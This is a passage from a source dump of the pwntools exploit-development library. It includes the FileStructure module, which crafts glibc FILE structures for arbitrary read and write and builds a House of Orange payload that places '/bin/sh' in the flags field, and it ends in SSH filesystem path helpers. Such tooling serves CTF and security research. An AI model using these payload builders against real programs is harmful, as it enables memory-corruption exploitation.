0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbe\\xba\\xfe\\xca\\x00\\x00\\x00\\x00'\n\nNow payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe\n\nCurrently only 'amd64' and 'i386' architectures are supported\n\"\"\"\n\nimport ctypes\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util.packing import pack, unpack\n\nlog = getLogger(__name__)\n\nlength=0\nsize='size'\nname='name'\n\nvariables={\n    0:{name:'flags',size:length},\n    1:{name:'_IO_read_ptr',size:length},\n    2:{name:'_IO_read_end',size:length},\n    3:{name:'_IO_read_base',size:length},\n    4:{name:'_IO_write_base',size:length},\n    5:{name:'_IO_write_ptr',size:length},\n    6:{name:'_IO_write_end',size:length},\n    7:{name:'_IO_buf_base',size:length},\n    8:{name:'_IO_buf_end',size:length},\n    9:{name:'_IO_save_base',size:length},\n    10:{name:'_IO_backup_base',size:length},\n    11:{name:'_IO_save_end',size:length},\n    12:{name:'markers',size:length},\n    13:{name:'chain',size:length},\n    14:{name:'fileno',size:4},\n    15:{name:'_flags2',size:4},\n    16:{name:'_old_offset',size:length},\n    17:{name:'_cur_column',size:2},\n    18:{name:'_vtable_offset',size:1},\n    19:{name:'_shortbuf',size:1},\n    20:{name:'unknown1',size:-4},\n    21:{name:'_lock',size:length},\n    22:{name:'_offset',size:8},\n    23:{name:'_codecvt',size:length},\n    24:{name:'_wide_data',size:length},\n    25:{name:'_freeres_list',size:length},\n    26:{name:'_freeres_buf',size:length},\n    27:{name:'_pad5',size:length},\n    28:{name:'_mode',size:4},\n    29:{name:'_unused2',size:length},\n    30:{name:'vtable',size:length}\n}\n\ndel name, size, length\n\n\ndef _update_var(l):\n    r\"\"\"\n    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.\n\n    Arguments:\n        l(int)\n            l=8 for 'amd64' architecture and l=4 for 'i386' architecture\n\n    Return Value:\n        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set\n\n    Examples:\n\n        >>> _update_var(8)\n        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, '_freeres_list': 8, '_freeres_buf': 8, '_pad5': 8, '_mode': 4, '_unused2': 20, 'vtable': 8}\n    \"\"\"\n    var={}\n    for i in variables:\n        var[variables[i]['name']]=variables[i]['size']\n    for i in var:\n        if var[i]<=0:\n            var[i]+=l\n    if l==4:\n        var['_unused2']=40\n    else:\n        var['_unused2']=20\n    return var\n\nclass IO_flags:\n    _IO_MAGIC =         0xFBAD0000 # Magic number\n    _IO_MAGIC_MASK =    0xFFFF0000\n    _IO_USER_BUF =          0x0001 # Don't deallocate buffer on close.\n    _IO_UNBUFFERED =        0x0002\n    _IO_NO_READS =          0x0004 # Reading not allowed.\n    _IO_NO_WRITES =         0x0008 # Writing not allowed.\n    _IO_EOF_SEEN =          0x0010\n    _IO_ERR_SEEN =          0x0020\n    _IO_DELETE_DONT_CLOSE = 0x0040 # Don't call close(_fileno) on close.\n    _IO_LINKED =            0x0080 # In the list of all open files.\n    _IO_IN_BACKUP =         0x0100\n    _IO_LINE_BUF =          0x0200\n    _IO_TIED_PUT_GET =      0x0400 # Put and get pointer move in unison.\n    _IO_CURRENTLY_PUTTING = 0x0800\n    _IO_IS_APPENDING =      0x1000\n    _IO_IS_FILEBUF =        0x2000\n    _IO_USER_LOCK =         0x8000\n\nclass IO_flags2:\n    _IO_FLAGS2_MMAP = 1\n    _IO_FLAGS2_NOTCANCEL = 2\n    _IO_FLAGS2_USER_WBUF = 8\n    _IO_FLAGS2_NOCLOSE = 32\n    _IO_FLAGS2_CLOEXEC = 64\n    _IO_FLAGS2_NEED_LOCK = 128\n\nclass _FlagsUnionBase(ctypes.Union):\n    def __getattr__(self, name):\n        if any(name == field[0] for field in self._flags_bits._fields_):\n            return getattr(self._flags_bits, name)\n        return super().__getattr__(name)\n    \n    def __setattr__(self, name, value):\n        if any(name == field[0] for field in self._flags_bits._fields_):\n            setattr(self._flags_bits, name, value)\n        return super().__setattr__(name, value)\n\n    def __int__(self):\n        return int(self._flags)\n\n    def __str__(self):\n        return \"{:#x} ({})\".format(self._flags, self._flags_bits)\n\n# https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/libio.h#L66\nclass _IOFileFlags_bits(ctypes.LittleEndianStructure):\n    _pack_ = 1\n    _fields_ = [\n        (\"_IO_USER_BUF\", ctypes.c_uint8, 1), # Don't deallocate buffer on close.\n        (\"_IO_UNBUFFERED\", ctypes.c_uint8, 1),\n        (\"_IO_NO_READS\", ctypes.c_uint8, 1), # Reading not allowed.\n        (\"_IO_NO_WRITES\", ctypes.c_uint8, 1), # Writing not allowed.\n        (\"_IO_EOF_SEEN\", ctypes.c_uint8, 1),\n        (\"_IO_ERR_SEEN\", ctypes.c_uint8, 1),\n        (\"_IO_DELETE_DONT_CLOSE\", ctypes.c_uint8, 1), # Don't call close(_fileno) on close.\n        (\"_IO_LINKED\", ctypes.c_uint8, 1), # In the list of all open files.\n        (\"_IO_IN_BACKUP\", ctypes.c_uint8, 1),\n        (\"_IO_LINE_BUF\", ctypes.c_uint8, 1),\n        (\"_IO_TIED_PUT_GET\", ctypes.c_uint8, 1), # Put and get pointer move in unison.\n        (\"_IO_CURRENTLY_PUTTING\", ctypes.c_uint8, 1),\n        (\"_IO_IS_APPENDING\", ctypes.c_uint8, 1),\n        (\"_IO_IS_FILEBUF\", ctypes.c_uint8, 1),\n        (\"_IO_BAD_SEEN__UNUSED\", ctypes.c_uint8, 1), # No longer used, reserved for compat.\n        (\"_IO_USER_LOCK\", ctypes.c_uint8, 1),\n        (\"_IO_MAGIC\", ctypes.c_uint16, 16), # Magic number 0xFBAD0000.\n    ]\n\n    def __str__(self):\n        return \" | \".join(name for name, _, _ in self._fields_ if getattr(self, name))\n\nclass _IOFileFlags(_FlagsUnionBase):\n    _fields_ = [\n        (\"_flags\", ctypes.c_uint64),\n        (\"_flags_bits\", _IOFileFlags_bits),\n    ]\n\n\n# https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/libio.h#L85\nclass _IOFileFlags2_bits(ctypes.LittleEndianStructure):\n    _pack_ = 1\n    _fields_ = [\n        (\"_IO_FLAGS2_MMAP\", ctypes.c_uint8, 1),\n        (\"_IO_FLAGS2_NOTCANCEL\", ctypes.c_uint8, 1),\n        (\"_IO_FLAGS2_USER_WBUF\", ctypes.c_uint8, 1),\n        (\"_IO_FLAGS2_NOCLOSE\", ctypes.c_uint8, 1),\n        (\"_IO_FLAGS2_CLOEXEC\", ctypes.c_uint8, 1),\n        (\"_IO_FLAGS2_NEED_LOCK\", ctypes.c_uint8, 1),\n    ]\n\n    def __str__(self):\n        return \" | \".join(name for name, _, _ in self._fields_ if getattr(self, name))\n\nclass _IOFileFlags2(_FlagsUnionBase):\n    _fields_ = [\n        (\"_flags\", ctypes.c_uint64),\n        (\"_flags_bits\", _IOFileFlags2_bits),\n    ]\n\n\nclass FileStructure(object):\n    r\"\"\"\n    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.\n\n    Arguments:\n        null(int)\n            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)\n\n    Examples:\n\n        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d\n\n        >>> context.clear(arch='amd64')\n        >>> fileStr = FileStructure(null=0xdeadbeeef)\n        >>> fileStr.flags = 0xfbad1807 # or use flags by name:\n        >>> fileStr.flags = IO_flags._IO_MAGIC | IO_flags._IO_USER_BUF | IO_flags._IO_UNBUFFERED | IO_flags._IO_NO_READS | IO_flags._IO_CURRENTLY_PUTTING | IO_flags._IO_IS_APPENDING\n        >>> fileStr._IO_buf_base = 0xcafebabe\n        >>> fileStr._IO_buf_end = 0xfacef00d\n        >>> payload = bytes(fileStr)\n        >>> payload\n        b'\\x07\\x18\\xad\\xfb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbe\\xba\\xfe\\xca\\x00\\x00\\x00\\x00\\r\\xf0\\xce\\xfa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xee\\xdb\\xea\\r\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xee\\xdb\\xea\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n        Check the length of the FileStructure\n\n        >>> len(fileStr)\n        224\n\n        The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell\n\n        >>> q=FileStructure(0xdeadbeef)\n        >>> q.flags = IO_flags._IO_MAGIC | IO_flags._IO_USER_BUF\n        >>> q.flags._IO_TIED_PUT_GET = 1\n        >>> q\n        { flags: 0xfbad0401 (_IO_USER_BUF | _IO_TIED_PUT_GET | _IO_MAGIC)\n         _IO_read_ptr: 0x0\n         _IO_read_end: 0x0\n         _IO_read_base: 0x0\n         _IO_write_base: 0x0\n         _IO_write_ptr: 0x0\n         _IO_write_end: 0x0\n         _IO_buf_base: 0x0\n         _IO_buf_end: 0x0\n         _IO_save_base: 0x0\n         _IO_backup_base: 0x0\n         _IO_save_end: 0x0\n         markers: 0x0\n         chain: 0x0\n         fileno: 0x0\n         _flags2: 0x0 ()\n         _old_offset: 0xffffffffffffffff\n         _cur_column: 0x0\n         _vtable_offset: 0x0\n         _shortbuf: 0x0\n         unknown1: 0x0\n         _lock: 0xdeadbeef\n         _offset: 0xffffffffffffffff\n         _codecvt: 0x0\n         _wide_data: 0xdeadbeef\n         _freeres_list: 0x0\n         _freeres_buf: 0x0\n         _pad5: 0x0\n         _mode: 0x0\n         _unused2: 0x0\n         vtable: 0x0}\n    \"\"\"\n\n    vars_=[]\n    length={}\n\n    def __init__(self, null=0):\n            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]\n            self.setdefault(null)\n            self.length = _update_var(context.bytes)\n            self._old_offset = (1 << context.bits) - 1\n\n    def __setattr__(self,item,value):\n        if item in FileStructure.__dict__ or item in self.vars_:\n            if hasattr(self, item) and isinstance(getattr(self, item), _FlagsUnionBase):\n                if isinstance(value, (bytes, bytearray)):\n                    getattr(self, item)._flags = unpack(value.ljust(context.bytes, b'\\x00'))\n                else:\n                    getattr(self, item)._flags = value\n            else:\n                object.__setattr__(self,item,value)\n        else:\n            log.error(\"Unknown variable %r\" % item)\n\n    def __repr__(self):\n        structure=[]\n        for i in self.vars_:\n            val = getattr(self, i)\n            if isinstance(val, int):\n                structure.append(\" %s: %#x\" % (i, val))\n            else:\n                structure.append(\" %s: %s\" % (i, val))\n        return \"{\"+ \"\\n\".join(structure)+\"}\"\n\n    def __len__(self):\n        return len(bytes(self))\n\n    def __bytes__(self):\n        structure = b''\n        for val in self.vars_:\n            if isinstance(getattr(self, val), bytes):\n                structure += getattr(self, val).ljust(context.bytes, b'\\x00')\n            else:\n                if self.length[val] > 0:\n                    structure += pack(int(getattr(self, val)), self.length[val]*8)\n        return structure\n\n    def struntil(self,v):\n        r\"\"\"\n        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.\n\n        Arguments:\n            v(string)\n                The name of the field uptil which the payload should be created.\n\n        Example:\n\n            Payload for data uptil _IO_buf_end\n\n            >>> context.clear(arch='amd64')\n            >>> fileStr = FileStructure(0xdeadbeef)\n            >>> payload = fileStr.struntil(\"_IO_buf_end\")\n            >>> payload\n            b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        \"\"\"\n        if v not in self.vars_:\n            return b''\n        structure = b''\n        for val in self.vars_:\n            if isinstance(getattr(self, val), bytes):\n                structure += getattr(self, val).ljust(context.bytes, b'\\x00')\n            else:\n                structure += pack(int(getattr(self, val)), self.length[val]*8)\n            if val == v:\n                break\n        return structure[:-1]\n\n    def setdefault(self,null):\n            self.flags=_IOFileFlags()\n            self._IO_read_ptr=0\n            self._IO_read_end=0\n            self._IO_read_base=0\n            self._IO_write_base=0\n            self._IO_write_ptr=0\n            self._IO_write_end=0\n            self._IO_buf_base=0\n            self._IO_buf_end=0\n            self._IO_save_base=0\n            self._IO_backup_base=0\n            self._IO_save_end=0\n            self.markers=0\n            self.chain=0\n            self.fileno=0\n            self._flags2=_IOFileFlags2()\n            self._old_offset=0\n            self._cur_column=0\n            self._vtable_offset=0\n            self._shortbuf=0\n            self.unknown1=0\n            self._lock=null\n            self._offset=0xffffffffffffffff\n            self._codecvt=0\n            self._wide_data=null\n            self._freeres_list=0\n            self._freeres_buf=0\n            self._pad5=0\n            self._mode=0\n            self._unused2=0\n            self.vtable=0\n\n    def write(self,addr=0,size=0):\n        r\"\"\"\n        Writing data out from arbitrary memory address.\n\n        Arguments:\n            addr(int)\n                The address from which data is to be printed to stdout\n            size(int)\n                The size, in bytes, of the data to be printed\n\n        Example:\n\n            Payload for writing 100 bytes to stdout from the address 0xcafebabe\n\n            >>> context.clear(arch='amd64')\n            >>> fileStr = FileStructure(0xdeadbeef)\n            >>> payload = fileStr.write(addr=0xcafebabe, size=100)\n            >>> payload\n            b'\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbe\\xba\\xfe\\xca\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbe\\xba\\xfe\\xca\\x00\\x00\\x00\\x00\"\\xbb\\xfe\\xca\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00'\n        \"\"\"\n        self.flags._IO_NO_WRITES = 0\n        self.flags._IO_CURRENTLY_PUTTING = 1\n        self._IO_write_base = addr\n        self._IO_write_ptr = addr+size\n        self._IO_read_end = addr\n        self.fileno = 1\n        return self.struntil('fileno')\n\n    def read(self,addr=0,size=0):\n        r\"\"\"\n        Reading data into arbitrary memory location.\n\n        Arguments:\n            addr(int)\n                The address into which data is to be written from stdin\n            size(int)\n                The size, in bytes, of the data to be written\n\n        Example:\n\n            Payload for reading 100 bytes from stdin into the address 0xcafebabe\n\n            >>> context.clear(arch='amd64')\n            >>> fileStr = FileStructure(0xdeadbeef)\n            >>> payload = fileStr.read(addr=0xcafebabe, size=100)\n            >>> payload\n            b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbe\\xba\\xfe\\xca\\x00\\x00\\x00\\x00\"\\xbb\\xfe\\xca\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        \"\"\"\n        self.flags._IO_NO_READS = 0\n        self._IO_read_base = 0\n        self._IO_read_ptr = 0\n        self._IO_buf_base = addr\n        self._IO_buf_end = addr+size\n        self.fileno = 0\n        return self.struntil('fileno')\n\n    def orange(self,io_list_all,vtable):\n        r\"\"\"\n        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks.\n\n        Arguments:\n            io_list_all(int)\n                Address of _IO_list_all in libc.\n            vtable(int)\n                Address of the fake vtable in memory\n\n        Example:\n\n            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -\n\n            >>> context.clear(arch='amd64')\n            >>> fileStr = FileStructure(0xdeadbeef)\n            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)\n            >>> payload\n            b'/bin/sh\\x00a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfd\\xef\\xce\\xfa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbe\\xba\\xfe\\xca\\x00\\x00\\x00\\x00'\n        \"\"\"\n        if context.bits == 64:\n            self.flags = b'/bin/sh\\x00'\n            self._IO_read_ptr = 0x61\n            self._IO_read_base = io_list_all-0x10\n        elif context.bits == 32:\n            self.flags = b'sh\\x00'\n            self._IO_read_ptr = 0x121\n            self._IO_read_base = io_list_all-0x8\n        self._IO_write_base = 0\n        self._IO_write_ptr = 1\n        self.vtable = vtable\n        return self.__bytes__()\n"
  },
  {
    "path": "pwnlib/filesystem/__init__.py",
    "content": "\"\"\"\nHandles file abstraction for local vs. remote (via ssh)\n\"\"\"\nfrom pwnlib.filesystem.path import Path\nfrom pwnlib.filesystem.ssh import SSHPath\n\n__all__ = ['SSHPath', 'Path']\n"
  },
  {
    "path": "pwnlib/filesystem/path.py",
    "content": "import tempfile\n\nfrom pathlib import *\n\n@classmethod\ndef mktemp(cls):\n    return cls(tempfile.mktemp())\n\n@classmethod\ndef mkdtemp(cls):\n    return cls(tempfile.mkdtemp())\n\nPath.mktemp = mktemp\nPath.mkdtemp = mkdtemp\n"
  },
  {
    "path": "pwnlib/filesystem/ssh.py",
    "content": "\"\"\"\nHandles file abstraction for remote SSH files\n\nEmulates pathlib as much as possible, but does so through duck typing.\n\"\"\"\nimport os\nimport sys\nimport tempfile\nimport time\n\nfrom pwnlib.context import context\nfrom pwnlib.util.misc import read, write\nfrom pwnlib.util.packing import _encode, _decode\n\nfrom pathlib import *\n\nclass SSHPath(PosixPath):\n    r\"\"\"Represents a file that exists on a remote filesystem.\n\n    See :class:`.ssh` for more information on how to set up an SSH connection.\n    See :py:class:`pathlib.Path` for documentation on what members and\n    properties this object has.\n\n    Arguments:\n        name(str): Name of the file\n        ssh(ssh): :class:`.ssh` object for manipulating remote files\n\n    Note:\n\n        You can avoid having to supply ``ssh=`` on every ``SSHPath`` by setting\n        :data:`.context.ssh_session`.  \n        In these examples we provide ``ssh=`` for clarity.\n\n    Examples:\n\n        First, create an SSH connection to the server.\n\n        >>> ssh_conn = ssh('travis', 'example.pwnme')\n\n        Let's use a temporary directory for our tests\n    \n        >>> _ = ssh_conn.set_working_directory()\n\n        Next, you can create SSHPath objects to represent the paths to files\n        on the remote system.\n\n        >>> f = SSHPath('filename', ssh=ssh_conn)\n        >>> f.touch()\n        >>> f.exists()\n        True\n        >>> f.resolve().path # doctests: +ELLIPSIS\n        '/tmp/.../filename'\n        >>> f.write_text('asdf ❤️')\n        >>> f.read_bytes()\n        b'asdf \\xe2\\x9d\\xa4\\xef\\xb8\\x8f'\n\n        ``context.ssh_session`` must be set to use the :meth:`.SSHPath.mktemp`\n        or :meth:`.SSHPath.mkdtemp` methods.\n\n        >>> context.ssh_session = ssh_conn\n        >>> SSHPath.mktemp() # doctest: +ELLIPSIS\n        SSHPath('...', ssh=ssh(user='travis', host='127.0.0.1'))\n    \"\"\"\n\n    sep = '/'\n\n    def __init__(self, path, ssh=None):\n        self.path = self._s(path)\n        self.ssh = ssh or context.ssh_session\n\n        if self.ssh is None:\n            raise ValueError('SSHPath requires an ssh session.  Provide onee or set context.ssh_session.')\n\n    def _s(self, other):\n        # We want strings\n        if isinstance(other, str):\n            return other\n\n        # We don't want binary\n        return _decode(other)\n\n    def _new(self, path, *a, **kw):\n        kw['ssh'] = self.ssh\n        path = self._s(path)\n        return SSHPath(path, *a, **kw)\n\n    def _run(self, *a, **kw):\n        with context.silent:\n            return self.ssh.run(*a, **kw)\n\n#---------------------------------- PUREPATH ----------------------------------\n    def __str__(self):\n        return self.path\n\n    def __fspath__(self):\n        return str(self)\n\n    def as_posix(self):\n        return self.path\n\n    def __bytes__(self):\n        return os.fsencode(self)\n\n    def __repr__(self):\n        return \"{}({!r}, ssh={!r})\".format(self.__class__.__name__, self.as_posix(), self.ssh)\n\n    def as_uri(self):\n        raise NotImplementedError()\n\n    def __eq__(self, other):\n        if not isinstance(other, SSHPath):\n            return str(self) == str(other)\n\n        if self.ssh.host != other.ssh.host:\n            return False\n\n        if self.path != other.path:\n            return False\n\n        return True\n\n    def __hash__(*a, **kw): \"\"; raise NotImplementedError\n    def __lt__(*a, **kw): \"\"; raise NotImplementedError\n    def __le__(*a, **kw): \"\"; raise NotImplementedError\n    def __gt__(*a, **kw): \"\"; raise NotImplementedError\n    def __ge__(*a, **kw): \"\"; raise NotImplementedError\n\n    @property\n    def anchor(self):\n        raise NotImplementedError()\n\n    @property\n    def name(self):\n        \"\"\"Returns the name of the file.\n\n        >>> f = SSHPath('hello', ssh=ssh_conn)\n        >>> f.name\n        'hello'\n        \"\"\"\n        return os.path.basename(self.path)\n\n    @property\n    def suffix(self):\n        \"\"\"Returns the suffix of the file.\n\n        >>> f = SSHPath('hello.tar.gz', ssh=ssh_conn)\n        >>> f.suffix\n        '.gz'\n        \"\"\"\n        if '.' not in self.name:\n            return ''\n        return self.name[self.name.rindex('.'):]\n\n    @property\n    def suffixes(self):\n        \"\"\"Returns the suffixes of a file\n\n        >>> f = SSHPath('hello.tar.gz', ssh=ssh_conn)\n        >>> f.suffixes\n        '.tar.gz'\n        \"\"\"\n\n        basename = self.name\n        if '.' not in basename:\n            return ''\n        return '.' + self.name.split('.', 1)[1]\n\n    @property\n    def stem(self):\n        \"\"\"Returns the stem of a file without any extension\n        \n        >>> f = SSHPath('hello.tar.gz', ssh=ssh_conn)\n        >>> f.stem\n        'hello'\n        \"\"\"\n        if '.' not in self.name:\n            return self.name\n        return self.name[:self.name.index('.')]\n\n    def with_name(self, name):\n        \"\"\"Return a new path with the file name changed\n\n        >>> f = SSHPath('hello/world', ssh=ssh_conn)\n        >>> f.path\n        'hello/world'\n        >>> f.with_name('asdf').path\n        'hello/asdf'\n        \"\"\"\n        if '/' not in self.path:\n            return name\n\n        path, _ = self.path.split(self.sep, 1)\n        path = self._new(path)\n        return path.joinpath(name)\n\n    def with_stem(self, name):\n        \"\"\"Return a new path with the stem changed.\n\n        >>> f = SSHPath('hello/world.tar.gz', ssh=ssh_conn)\n        >>> f.with_stem('asdf').path\n        'hello/asdf.tar.gz'\n        \"\"\"\n        return self.with_name(name + self.suffixes)\n\n    def with_suffix(self, suffix):\n        \"\"\"Return a new path with the file suffix changed\n\n        >>> f = SSHPath('hello/world.tar.gz', ssh=ssh_conn)\n        >>> f.with_suffix('.tgz').path\n        'hello/world.tgz'\n        \"\"\"\n        return self.with_name(self.stem + suffix)\n\n    def relative_to(self, *other):\n        raise NotImplementedError()\n\n    def is_relative_to(self, *other):\n        raise NotImplementedError()       \n\n    @property\n    def parts(self):\n        \"\"\"Return the individual parts of the path\n    \n        >>> f = SSHPath('hello/world.tar.gz', ssh=ssh_conn)\n        >>> f.parts\n        ['hello', 'world.tar.gz']\n        \"\"\"\n        return self.path.split(self.sep)\n\n    def joinpath(self, *args):\n        \"\"\"Combine this path with one or several arguments.\n\n        >>> f = SSHPath('hello', ssh=ssh_conn)\n        >>> f.joinpath('world').path\n        'hello/world'\n        \"\"\"\n        newpath = os.path.join(self.path, *args)\n        return SSHPath(newpath, ssh=self.ssh)\n    \n    # __truediv__\n    # __rtruediv__\n\n    @property\n    def parent(self):\n        \"\"\"Return the parent of this path\n\n        >>> f = SSHPath('hello/world/file.txt', ssh=ssh_conn)\n        >>> f.parent.path\n        'hello/world'\n        \"\"\"\n        a, b = self.path.rsplit(self.sep, 1)\n        if a:\n            return self._new(a)\n        return self\n\n    @property\n    def parents(self):\n        \"\"\"Return the parents of this path, as individual parts\n\n        >>> f = SSHPath('hello/world/file.txt', ssh=ssh_conn)\n        >>> list(p.path for p in f.parents)\n        ['hello', 'world']\n        \"\"\"\n        if '/' not in self.path:\n            return self._new('.')\n\n        return [self._new(p) for p in self.parent.path.split(self.sep)]\n\n    def is_absolute(self):\n        \"\"\"Returns whether a path is absolute or not.\n\n        >>> f = SSHPath('hello/world/file.txt', ssh=ssh_conn)\n        >>> f.is_absolute()\n        False\n\n        >>> f = SSHPath('/hello/world/file.txt', ssh=ssh_conn)\n        >>> f.is_absolute()\n        True\n        \"\"\"\n        return self.path.startswith(self.sep)\n\n    def is_reserved(self):\n        return False\n\n    def match(self, path_pattern):\n        raise NotImplementedError()\n\n#------------------------------------ PATH ------------------------------------\n\n    @property\n    def cwd(self):\n        return self._new(self.ssh.cwd)\n\n    @property\n    def home(self):\n        \"\"\"Returns the home directory for the SSH connection\n\n        >>> f = SSHPath('...', ssh=ssh_conn)\n        >>> f.home # doctest: +ELLIPSIS\n        SSHPath('/home/...', ssh=ssh(user='...', host='127.0.0.1'))\n        \"\"\"\n        path = self._run('echo ~').recvall().rstrip()\n        return self._new(path)\n\n    def samefile(self, other_path):\n        \"\"\"Returns whether two files are the same\n\n        >>> a = SSHPath('a', ssh=ssh_conn)\n        >>> A = SSHPath('a', ssh=ssh_conn)\n        >>> x = SSHPath('x', ssh=ssh_conn)\n\n        >>> a.samefile(A)\n        True\n        >>> a.samefile(x)\n        False\n        \"\"\"\n        if not isinstance(other_path, SSHPath):\n            return False\n\n        return self.absolute() == other_path.absolute()\n\n    def iterdir(self):\n        